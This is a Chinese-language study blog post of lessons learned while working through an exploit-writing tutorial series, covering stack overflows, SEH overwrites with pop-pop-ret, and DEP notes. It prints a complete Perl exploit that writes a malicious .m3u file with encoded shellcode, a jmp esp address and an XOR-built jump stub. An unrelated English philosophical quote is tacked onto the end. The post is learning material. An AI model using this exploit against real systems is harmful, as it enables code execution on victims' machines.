《Exploit 编写系列教程》踩坑记
Exploit 编写系列教程第一篇:基于栈的溢出
①用armitage生成shellcode:
sudo /etc/init.d/postgresql start
sudo msfdb init
sudo msfconsole #启动后用db_status查看一下数据库连接状态
再打开armitage,生成shellcode:
②P18页最终想要Exploit弹出系统自带计算器,这里有个细节:
为什么是25个,不是4个?原因是除了要考虑ret 4
后esp会弹掉4个字节,还要考虑shellcode的执行。程序执行是需要指令对齐的。
Exploit 编写系列教程第三篇_基于SEH的Exploit
①要想进行SEH攻击,首先要确保程序有异常处理机制。有异常处理机制的程序会安装异常处理机制,如图:
可知特征码为64 A1
。在程序中查找特征码即可知有无实施SEH攻击可能性。
②windbg用于确定程序崩溃、异常、非法访问是否可利用的插件要用这个版本的MSECExtensions_1_0_6.zip,否则在xp下无法正常加载
③为什么使用pop pop ret
?
因为异常处理函数_except_handler的原型如下:
所以刚进入异常处理函数后的堆栈如图:
这时只要执行pop pop ret
,就可以让eip
指向当前SEH链的首地址。
所以,典型的exploit结构如图:
④为什么P20这里还要加这么多nop
?
如果不加,程序不会产生溢出异常- -||
⑤练习题中,如何采用覆盖eip
的方式写exploit?
分析过程如下:
接下来,
- 先找出覆盖
edx
的字符偏移量,为4127 - 将偏移4127处的4个字节覆盖为某个地址,对这个地址有几点要求:
要保证该地址减8的结果位于进程内合法的内存空间,且该内存空间此处存放的dword值须小于等于0;
要保证这个用于覆盖的地址不能含有\0
;
缓冲区对某些字节有限制措施; <=== 这一点我试了两天才发现,规则应该是必须传入可视ASCII码值(含可视的扩展ASCII打印字符),这也是这个漏洞程序的神坑!!!。除此之外,还要保证缓冲区的开头是http:// (这里我说的所有偏移量都没有把缓冲区开头长度包括进去) - 我们再确定跳板
ret
指令所返回到的地址在exploit中所对应的字符偏移量,此ret
引导我们跳入shellcode。偏移量为4099 - 然后确定shellcode存放位置,要注意存放地址不能含有
\0
。鉴于缓冲区地址高字节始终为00
,所以我们采用jmp esp
的形式进行跳转。注意找到的jmp esp
地址也要不能含有\0
。 <=== 为了找合适的jmp esp
地址,我花了很多时间。不是因为在dll里找不到jmp esp
指令,而是因为缓冲区的字符限制措施,让我无头绪地调试了很久。后来换了一个地址,又好了。 - 由于执行
jmp esp
后esp指向了0x125cd4,所以我们在此处放置一个jmp to shellcode
的指令,而我们的shellcode存放在0x00124ccd。这里不能采用硬编码的方式跳转,因为0x00124ccd含有00
,所以采用xor
指令给该地址加下密。加密钥匙是0x48487876: <=== 这个方法我也想了好久,加密钥匙我也试了好一会儿,都是因为缓冲区字符限制措施让jmp 相对位移
总是失败(因为无论怎么算相对位移,里面总是包含不可视ASCII码字符ff
)、试的其他加密钥匙也被限制了……默泪啊 T T
68 4B 34 5A 48 push 485A344Bh #0x125cd4 xor 0x48487876 = 0x485A344B
B8 86 78 48 48 mov eax,48487886h
33 04 24 xor eax,dword ptr [esp] #执行后eax值为0x00124ccd
50 push eax
C3 ret
最终,我们的exploit的布局为:
exploit如下:
my $file="test.m3u";
my $pre="http://";
my $shellcode=
"\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41"."\xcc"x3796;
my $ret_to_jmp_esp=pack('V',0x7c86467b);
my $jmp_shellcode="\x68\x4B\x34\x5A\x48\xB8\x86\x78\x48\x48\x33\x04\x24\x50\xc3";
my $padding="\xcc"x9;
my $edx=pack('V',0x76366f40);
my $padding2="\x90"x866;
my $payload=$pre.$shellcode.$ret_to_jmp_esp.$jmp_shellcode.$padding.$edx.$padding2;
open(myfile,">$file");
print myfile $payload;
close(myfile);
print length($payload)."bytes\n";
这里附一个寻找可见ASCII码值的技巧:可见ASCII码值的hex值位于0x20~0xFE之间。
Exploit 编写系列教程第六篇 绕过Cookie,SafeSeh,HW DEP 和ASLR
文章里说开启DEP后,在windbg下执行dt nt!_KPROCESS 00400000 -r
后会看到:
+0x06b Flags : _KEXECUTE_OPTIONS
+0x000 ExecuteDisable : 0y1
+0x000 ExecuteEnable : 0y0
+0x000 DisableThunkEmulation : 0y0
+0x000 Permanent : 0y0
但是我开启DEP后,实测xp、win7下都是这样子的(我的硬件支持DEP):
I don't know why...
Those who seek some sort of a higher purpose or 'universal goal', who don't know what to live for, who moan that they must 'find themselves'. You hear it all around us. That seems to be theofficial bromide of our century. Every book you open. Every drooling self-confession. It seems to be the noble thing to confess. I'd think it would be the most shameful one.